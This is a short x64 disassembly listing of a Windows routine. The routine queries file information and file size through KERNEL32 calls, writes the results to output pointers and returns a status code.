call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
je 0x1400231bc
test rdi, rdi
je 0x14002317a
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x20]
mov qword [rdi], rax
test rbx, rbx
je 0x14002318a
mov ecx, dword [rsp + 0x28]
call fcn.140021b00
mov dword [rbx], eax
test rsi, rsi
je 0x1400231b8
lea rdx, [rsp + 0x24]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x20], eax
cmp eax, 0xffffffff
jne 0x1400231b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400231bc
mov rax, qword [rsp + 0x20]
mov qword [rsi], rax
xor eax, eax
jmp 0x1400231c1
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140160900
add rsp, 0x78
pop rdi
pop rsi
pop rbp
pop rbx
ret